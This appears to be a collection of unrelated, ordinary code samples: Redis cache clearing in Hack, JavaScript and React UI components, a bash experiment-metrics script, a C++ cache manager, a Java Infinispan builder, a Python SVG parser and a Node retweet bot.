return $this->redis->flushDB();
}
$info = $this->redis->info('Server');
$info = C\contains_key($info, 'Server') ? $info['Server'] : $info;
if (!version_compare($info['redis_version'], '2.8', '>=')) {
// As documented in Redis documentation (http://redis.io/commands/keys) using KEYS
// can hang your server when it is executed against large databases (millions of items).
// Whenever you hit this scale, you should really consider upgrading to Redis 2.8 or above.
return (bool) $this->redis->evaluate("local keys=redis.call('KEYS',ARGV[1]..'*') for i=1,#keys,5000 do redis.call('DEL',unpack(keys,i,math.min(i+4999,#keys))) end return 1", [$namespace], 0);
}
$cleared = true;
$cursor = null;
do {
$keys = $this->redis->scan(&$cursor, $namespace.'*', 1000);
if (C\contains_key($keys, 1) && $keys[1] is Container<_>) {
$cursor = $keys[0];
$keys = $keys[1];
}
if (!C\is_empty($keys)) {
foreach ($keys as $key) {
$cleared = $this->remove((string) $key) && $cleared;
}
}
} while ($cursor = (int) $cursor);
return $cleared;
}
}
|
/*
* Copyright 2016 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
"use strict";
/*global Java, BaseObj */
includeJar ("lib/fatcat.jar");
/**
*
* @constructor
*/
function FxApp(OnStart) {
var NativeFxApp;
BaseObj.call(this);
if (!isDef(OnStart) || !isFunct(OnStart)) {
throw ("FxApp.FxApp(): Expecting first arguement to be the on start handler.");
}
// The native Java object.
NativeFxApp = Java.type("com.lehman.ic9.ui.fxApp");
this.native = new NativeFxApp();
this.native.init(getEngine(), OnStart);
}
FxApp.prototype = new BaseObj();
/**
* Launches the application window and shows it.
*/
FxApp.prototype.launch = function () {
this.native.launchApp();
};
FxApp.prototype.constructor = FxApp;
function getFunctNames(ObjName) {
var name, names = [];
for (name in this[ObjName]) {
if (isFunct(this[ObjName][name])) {
names.push(name);
}
}
return names;
}
function callNashornObj() {
var cinfo = arguments[0];
var ret = this[cinfo.objName][cinfo.methName].apply(this[cinfo.objName], cinfo.args);
return ret;
}
|
import Iterable from './iterable';
import EmptyIterator from './iterator-empty';
import extend from '../utils/extend';
/**
* Creates a new EmptyIterable instance.
*/
export default function EmptyIterable() {
}
extend(EmptyIterable, Iterable, {
toString: function () {
return '[Empty Iterable]';
},
'@@iterator': function () {
return new EmptyIterator();
}
});
|
#!/bin/bash
# ========== Experiment Seq. Idx. 2345 / 44.6.5.0 / N. 0 - _S=44.6.5.0 D1_N=62 a=1 b=-1 c=1 d=1 e=1 f=1 D3_N=0 g=-1 h=-1 i=-1 D4_N=4 j=4 D5_N=0 ==========
set -u
# Prints header
echo -e '\n\n========== Experiment Seq. Idx. 2345 / 44.6.5.0 / N. 0 - _S=44.6.5.0 D1_N=62 a=1 b=-1 c=1 d=1 e=1 f=1 D3_N=0 g=-1 h=-1 i=-1 D4_N=4 j=4 D5_N=0 ==========\n\n'
# Prepares all environment variables
JBHI_DIR="$HOME/jbhi-special-issue"
RESULTS_DIR="$JBHI_DIR/results"
if [[ "No" == "Yes" ]]; then
SVM_SUFFIX="svm"
PREDICTIONS_FORMAT="isbi"
else
SVM_SUFFIX="nosvm"
PREDICTIONS_FORMAT="titans"
fi
RESULTS_PREFIX="$RESULTS_DIR/deep.62.layer.0.test.4.index.2345.$SVM_SUFFIX"
RESULTS_PATH="$RESULTS_PREFIX.results.txt"
# ...variables expected by jbhi-checks.include.sh and jbhi-footer.include.sh
SOURCES_GIT_DIR="$JBHI_DIR/jbhi-special-issue"
LIST_OF_INPUTS="$RESULTS_PREFIX.finish.txt"
# ...this experiment is a little different --- only one master procedure should run, so there's only a master lock file
METRICS_TEMP_PATH="$RESULTS_DIR/this_results.anova.txt"
METRICS_PATH="$RESULTS_DIR/all_results.anova.txt"
START_PATH="$METRICS_PATH.start.txt"
FINISH_PATH="-"
LOCK_PATH="$METRICS_PATH.running.lock"
LAST_OUTPUT="$METRICS_PATH"
mkdir -p "$RESULTS_DIR"
#
# Assumes that the following environment variables where initialized
# SOURCES_GIT_DIR="$JBHI_DIR/jbhi-special-issue"
# LIST_OF_INPUTS="$DATASET_DIR/finish.txt:$MODELS_DIR/finish.txt:"
# START_PATH="$OUTPUT_DIR/start.txt"
# FINISH_PATH="$OUTPUT_DIR/finish.txt"
# LOCK_PATH="$OUTPUT_DIR/running.lock"
# LAST_OUTPUT="$MODEL_DIR/[[[:D1_MAX_NUMBER_OF_STEPS:]]].meta"
EXPERIMENT_STATUS=1
STARTED_BEFORE=No
# Checks if code is stable, otherwise alerts scheduler
pushd "$SOURCES_GIT_DIR" >/dev/null
GIT_STATUS=$(git status --porcelain)
GIT_COMMIT=$(git log | head -n 1)
popd >/dev/null
if [ "$GIT_STATUS" != "" ]; then
echo 'FATAL: there are uncommitted changes in your git sources file' >&2
echo ' for reproducibility, experiments only run on committed changes' >&2
echo >&2
echo ' Git status returned:'>&2
echo "$GIT_STATUS" >&2
exit 162
fi
# The experiment is already finished - exits with special code so scheduler won't retry
if [[ "$FINISH_PATH" != "-" ]]; then
if [[ -e "$FINISH_PATH" ]]; then
echo 'INFO: this experiment has already finished' >&2
exit 163
fi
fi
# The experiment is not ready to run due to dependencies - alerts scheduler
if [[ "$LIST_OF_INPUTS" != "" ]]; then
IFS=':' tokens_of_input=( $LIST_OF_INPUTS )
input_missing=No
for input_to_check in ${tokens_of_input[*]}; do
if [[ ! -e "$input_to_check" ]]; then
echo "ERROR: input $input_to_check missing for this experiment" >&2
input_missing=Yes
fi
done
if [[ "$input_missing" != No ]]; then
exit 164
fi
fi
# Sets trap to return error code if script is interrupted before successful finish
LOCK_SUCCESS=No
FINISH_STATUS=161
function finish_trap {
if [[ "$LOCK_SUCCESS" == "Yes" ]]; then
rmdir "$LOCK_PATH" &> /dev/null
fi
if [[ "$FINISH_STATUS" == "165" ]]; then
echo 'WARNING: experiment discontinued because other process holds its lock' >&2
else
if [[ "$FINISH_STATUS" == "160" ]]; then
echo 'INFO: experiment finished successfully' >&2
else
[[ "$FINISH_PATH" != "-" ]] && rm -f "$FINISH_PATH"
echo 'ERROR: an error occurred while executing the experiment' >&2
fi
fi
exit "$FINISH_STATUS"
}
trap finish_trap EXIT
# While running, locks experiment so other parallel threads won't attempt to run it too
if mkdir "$LOCK_PATH" --mode=u=rwx,g=rx,o=rx &>/dev/null; then
LOCK_SUCCESS=Yes
else
echo 'WARNING: this experiment is already being executed elsewhere' >&2
FINISH_STATUS="165"
exit
fi
# If the experiment was started before, do any cleanup necessary
if [[ "$START_PATH" != "-" ]]; then
if [[ -e "$START_PATH" ]]; then
echo 'WARNING: this experiment is being restarted' >&2
STARTED_BEFORE=Yes
fi
#...marks start
date -u >> "$START_PATH"
echo GIT "$GIT_COMMIT" >> "$START_PATH"
fi
if [[ "$STARTED_BEFORE" == "Yes" ]]; then
# If the experiment was started before, do any cleanup necessary
echo -n
else
echo "D1_N;D3_N;D4_N;a;b;c;d;e;f;g;h;i;j;m_ap;m_auc;m_tn;m_fp;m_fn;m_tp;m_tpr;m_fpr;k_ap;k_auc;k_tn;k_fp;k_fn;k_tp;k_tpr;k_fpr;isbi_auc" > "$METRICS_PATH"
fi
python \
"$SOURCES_GIT_DIR/etc/compute_metrics.py" \
--metadata_file "$SOURCES_GIT_DIR/data/all-metadata.csv" \
--predictions_format "$PREDICTIONS_FORMAT" \
--metrics_file "$METRICS_TEMP_PATH" \
--predictions_file "$RESULTS_PATH"
EXPERIMENT_STATUS="$?"
echo -n "62;0;4;" >> "$METRICS_PATH"
echo -n "1;-1;1;1;1;1;-1;-1;-1;4;" >> "$METRICS_PATH"
tail "$METRICS_TEMP_PATH" -n 1 >> "$METRICS_PATH"
#
#...starts training
if [[ "$EXPERIMENT_STATUS" == "0" ]]; then
if [[ "$LAST_OUTPUT" == "" || -e "$LAST_OUTPUT" ]]; then
if [[ "$FINISH_PATH" != "-" ]]; then
date -u >> "$FINISH_PATH"
echo GIT "$GIT_COMMIT" >> "$FINISH_PATH"
fi
FINISH_STATUS="160"
fi
fi
|
<reponame>jagel/meal-planner-react
import MenuItem from '@mui/material/MenuItem';
import Menu from '@mui/material/Menu';
export interface AppNavBarProfileProps{
anchorEl:null | HTMLElement;
menuId: string;
handleMenuClose:() => void;
}
export const AppNavBarProfile = (props: AppNavBarProfileProps) => {
const isMenuOpen = Boolean(props.anchorEl);
return <Menu
anchorEl={props.anchorEl}
anchorOrigin={{
vertical: 'top',
horizontal: 'right',
}}
id={props.menuId}
keepMounted
transformOrigin={{
vertical: 'top',
horizontal: 'right',
}}
open={isMenuOpen}
onClose={() => props.handleMenuClose()}
>
<MenuItem onClick={() => props.handleMenuClose()}>Profile</MenuItem>
<MenuItem onClick={() => props.handleMenuClose()}>My account</MenuItem>
</Menu>
} |
import { FC } from 'react';
import cn from "classnames"
import { SubDAOData } from '@/types/SubDAO';
interface InputProps {
className: string | undefined
handleOnChangeInput: (event: React.ChangeEvent<HTMLInputElement>) => void
name: string
label: string
}
export const FormInputText: FC<InputProps> = (props) => {
return (
<>
<div className="md:flex md:items-center mb-6">
<div className="md:w-1/3">
<label
className="block text-gray-500 md:text-right mb-1 md:mb-0 pr-4"
>
{props.label}
</label>
</div>
<div className="md:w-2/3">
<input
className={cn(props.className)}
name={props.name}
type="text"
onChange={props.handleOnChangeInput}
/>
</div>
</div>
</>
)
}
interface SelectProps {
className: string | undefined
handleOnChangeSelect: (event: React.ChangeEvent<HTMLSelectElement>) => void
label: string
name: string
subDAOList: SubDAOData[]
}
export const FormInputSelect: FC<SelectProps> = (props) => {
return (
<>
<div className="md:flex md:items-center mb-6">
<div className="md:w-1/3">
<label
className="block text-gray-500 md:text-right mb-1 md:mb-0 pr-4"
>
{props.label}
</label>
</div>
<div className="md:w-2/3">
<select
className={cn(props.className)}
onChange={props.handleOnChangeSelect}
name={props.name}
>
<option value="">Please Choose SubDAO</option>
{
props.subDAOList.length > 0 ?
props.subDAOList.map((subDAO) => {
return (
<option
key={subDAO.daoAddress}
value={subDAO.daoAddress}>
{subDAO.daoName}
</option>
)
})
: ("")
}
</select>
</div>
</div>
</>
)
}
interface TextProps {
label: string
text: string
}
export const FormText: FC<TextProps> = (props) => {
return (
<>
<div className="md:flex md:items-center mb-6">
<div className="md:w-1/3">
<label
className="block text-gray-500 md:text-right mb-1 md:mb-0 pr-4"
>
{props.label}
</label>
</div>
<div className="md:w-2/3">
<p>{props.text}</p>
</div>
</div>
</>
)
}
|
#include "CacheMemoryManager.h"
#include "CacheOperateHelper.h"
#include "TimerManager.h"
#include "GuidFactory.h"
#include "CallBack.h"
#include "Log.h"
using namespace util;
using namespace evt;
using namespace thd;
void CCacheMemoryManager::Init() {
if(m_bInit) {
OutputError("m_bInit");
return;
}
m_bInit = true;
m_timerId = CGuidFactory::Pointer()->CreateGuid();
CTimerManager::PTR_T pTMgr(CTimerManager::Pointer());
CAutoPointer<CallbackMFnP0<CCacheMemoryManager> > pMethod(
new CallbackMFnP0<CCacheMemoryManager>(m_pThis(), &CCacheMemoryManager::CheckAndUpdate));
pTMgr->SetInterval(m_timerId, CACHE_RECORD_UPDATE_INTERVAL, pMethod);
}
void CCacheMemoryManager::Dispose(bool bUpdateToDb/* = true*/) throw() {
if(!m_bInit) {
OutputError("!m_bInit");
return;
}
m_bInit = false;
CTimerManager::PTR_T pTMgr(CTimerManager::Pointer());
pTMgr->Remove(m_timerId, true);
if(bUpdateToDb) {
CScopedWriteLock wrLock(m_rwTicket);
CACHE_RECORDS_SET_T::iterator itI = m_records.begin();
while(m_records.end() != itI) {
util::CAutoPointer<ICacheMemory>& pCacheMem =
const_cast<util::CAutoPointer<ICacheMemory>&>(*itI);
if(atomic_cmpxchg8(&pCacheMem->m_bLock,true,false) == false) {
uint8_t u8ChgType = pCacheMem->ChangeType();
if(MCCHANGE_UPDATE == u8ChgType) {
MCResult nResult = pCacheMem->UpdateToDB();
if(MCERR_OK != nResult) {
OutputError("MCERR_OK != pCacheMem->UpdateToDB() nResult = %d ", nResult);
}
}
atomic_xchg8(&pCacheMem->m_bLock, false);
}
++itI;
}
}
}
int CCacheMemoryManager::LoadCacheRecord(
util::CAutoPointer<ICacheMemory>& outCacheRecord,
uint16_t u16DBID, const std::string& strKey,
bool bDBCas /*= true*/, uint64_t n64Cas/* = 0*/,
const int32_t* pInFlag /*= NULL*/,
int32_t* pOutFlag /*= NULL*/)
{
CAutoPointer<ICacheMemory> pCacheRecord(InsertMemoryRecord(u16DBID, strKey, n64Cas));
int nResult = LoadRecord(pCacheRecord, bDBCas, pInFlag, pOutFlag);
if(MCERR_OK == nResult) {
outCacheRecord = pCacheRecord;
}
return nResult;
}
bool CCacheMemoryManager::AddRecord(CAutoPointer<ICacheMemory> pCacheRecord)
{
if(pCacheRecord.IsInvalid()) {
OutputError("pCacheRecord.IsInvalid()");
return false;
}
MCResult nResult = pCacheRecord->AddToDB();
if(MCERR_OK != nResult) {
nResult = pCacheRecord->LoadFromDB();
if(MCERR_OK != nResult) {
OutputError("MCERR_OK != pCacheRecord->AddToDB() nResult = %d ", nResult);
return false;
}
}
return true;
}
int CCacheMemoryManager::LoadRecord(
CAutoPointer<ICacheMemory> pCacheRecord,
bool bDBCas /*= true*/,
const int32_t* pInFlag /*= NULL*/,
int32_t* pOutFlag /*= NULL*/)
{
if(pCacheRecord.IsInvalid()) {
OutputError("pCacheRecord.IsInvalid()");
return false;
}
MCResult nResult = pCacheRecord->LoadFromDB(bDBCas, pInFlag, pOutFlag);
if(MCERR_OK != nResult) {
if(MCERR_NOTFOUND != nResult) {
OutputError("MCERR_OK != pCacheRecord->LoadFromDB()1 nResult = %d", nResult);
}
return nResult;
}
return nResult;
}
bool CCacheMemoryManager::DeleteRecord(CAutoPointer<ICacheMemory> pCacheRecord)
{
if(pCacheRecord.IsInvalid()) {
OutputError("pCacheRecord.IsInvalid()");
return false;
}
MCResult nResult = pCacheRecord->DeleteFromDB();
if(MCERR_OK != nResult) {
OutputError("MCERR_OK != pCacheRecord->DeleteFromDB() nResult = %d", nResult);
return false;
}
return true;
}
bool CCacheMemoryManager::DeleteRecord(uint16_t u16DBID, const std::string& strKey)
{
CCacheMemory cacheMemory(u16DBID, strKey);
MCResult nResult = cacheMemory.DeleteFromDB();
if(MCERR_OK != nResult) {
OutputError("MCERR_OK != cacheMemory.DeleteFromDB() nResult = %d", nResult);
return false;
}
return true;
}
bool CCacheMemoryManager::CheckUpdateAndReloadRecord(
CAutoPointer<ICacheMemory> pCacheRecord,
bool bResetFlag /*= false*/) throw()
{
if(pCacheRecord.IsInvalid()) {
OutputError("pCacheRecord.IsInvalid()");
return false;
}
if(atomic_cmpxchg8(&pCacheRecord->m_bLock,true,false) == false) {
uint8_t u8ChgType = pCacheRecord->ChangeType();
if(MCCHANGE_NIL == u8ChgType) {
atomic_xchg8(&pCacheRecord->m_bLock, false);
return false;
}
MCResult nResult = pCacheRecord->UpdateToDB(true, bResetFlag);
if(MCERR_NOTFOUND == nResult) {
nResult = pCacheRecord->AddToDB(bResetFlag);
if(MCERR_OK != nResult) {
OutputError("MCERR_OK != pCacheRecord->AddToDB() nResult = %d", nResult);
}
} else if(MCERR_EXISTS == nResult) {
OutputError("MCERR_EXISTS == UpdateToDB()");
nResult = pCacheRecord->LoadFromDB();
if(MCERR_OK != nResult) {
OutputError("MCERR_OK != pCacheRecord->LoadFromDB() nResult = %d", nResult);
}
} else if(MCERR_OK != nResult) {
OutputError("MCERR_OK != pCacheRecord->UpdateToDB() nResult = %d", nResult);
}
atomic_xchg8(&pCacheRecord->m_bLock, false);
}
return true;
}
void CCacheMemoryManager::CheckAndUpdate()
{
long nSize = GetArrRecordSize();
if(nSize < 1) {
return;
}
unsigned long idxStart = m_index;
unsigned long idxEnd = idxStart + nSize;
for(long i = 0; i < nSize; ++i) {
if(idxStart < idxEnd) {
if(m_index < idxStart
|| m_index >= idxEnd)
{
break;
}
} else if(idxStart > idxEnd) {
if(m_index < idxStart
&& m_index >= idxEnd)
{
break;
}
}
CAutoPointer<ICacheMemory> pCacheRecord(GetArrRecord());
if(pCacheRecord.IsInvalid()) {
continue;
}
CTimestampManager::PTR_T pTsMgr(CTimestampManager::Pointer());
int64_t nDiffTime = (int64_t)pTsMgr->DiffTime(
pTsMgr->GetTimestamp(), pCacheRecord->LastActivityTime());
if(nDiffTime > g_recordExpireSec) {
if(RemoveCacheRecord(pCacheRecord->GetKey(), true, true)) {
break;
}
} else {
if(CheckUpdateAndReloadRecord(pCacheRecord)) {
break;
}
}
}
}
|
package org.infinispan.persistence.cloud.configuration;
import org.infinispan.configuration.cache.AbstractStoreConfigurationChildBuilder;
import org.infinispan.persistence.keymappers.MarshallingTwoWayKey2StringMapper;
/**
* AbstractCloudStoreConfigurationChildBuilder.
*
* @author <NAME>
* @since 7.2
*/
public abstract class AbstractCloudStoreConfigurationChildBuilder<S> extends AbstractStoreConfigurationChildBuilder<S> implements CloudStoreConfigurationChildBuilder<S> {
private final CloudStoreConfigurationBuilder builder;
protected AbstractCloudStoreConfigurationChildBuilder(CloudStoreConfigurationBuilder builder) {
super(builder);
this.builder = builder;
}
@Override
public CloudStoreConfigurationBuilder provider(String provider) {
return builder.provider(provider);
}
@Override
public CloudStoreConfigurationBuilder location(String location) {
return builder.location(location);
}
@Override
public CloudStoreConfigurationBuilder identity(String identity) {
return builder.identity(identity);
}
@Override
public CloudStoreConfigurationBuilder credential(String credential) {
return builder.credential(credential);
}
@Override
public CloudStoreConfigurationBuilder container(String container) {
return builder.location(container);
}
@Override
public CloudStoreConfigurationBuilder endpoint(String endpoint) {
return builder.endpoint(endpoint);
}
@Override
public CloudStoreConfigurationBuilder key2StringMapper(String key2StringMapper) {
return builder.key2StringMapper(key2StringMapper);
}
@Override
public CloudStoreConfigurationBuilder key2StringMapper(Class<? extends MarshallingTwoWayKey2StringMapper> klass) {
return builder.key2StringMapper(klass);
}
@Override
public CloudStoreConfigurationBuilder compress(boolean compress) {
return builder.compress(compress);
}
@Override
public CloudStoreConfigurationBuilder normalizeCacheNames(boolean normalizeCacheNames) {
return builder.normalizeCacheNames(normalizeCacheNames);
}
}
|
import xml.etree.ElementTree as ET
def extractRectangles(svg):
root = ET.fromstring(svg)
rectangles = []
for rect in root.findall('.//rect'):
x = float(rect.get('x', 0))
y = float(rect.get('y', 0))
width = float(rect.get('width'))
height = float(rect.get('height'))
rx = float(rect.get('rx', 0))
ry = float(rect.get('ry', 0))
rectangles.append({'x': x, 'y': y, 'width': width, 'height': height, 'rx': rx, 'ry': ry})
return rectangles |
const Twitter = require('twitter');
const client = new Twitter({
consumer_key: process.env.TWITTER_CONSUMER_KEY,
consumer_secret: process.env.TWITTER_CONSUMER_SECRET,
access_token_key: process.env.TWITTER_ACCESS_TOKEN_KEY,
access_token_secret: process.env.TWITTER_ACCESS_TOKEN_SECRET
});
const hashtag = '#hashtag';
// Search all recent posts that contain this hashtag
client.get('search/tweets', {q: hashtag}, (error, tweets, response) => {
if (error) {
console.log(error);
}
// Retweet all the posts
tweets.statuses.forEach(tweet => {
let retweetId = tweet.id_str;
client.post('statuses/retweet/:id', {id: retweetId }, (error, response) => {
if (error) {
console.log(error);
}
});
});
}); |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.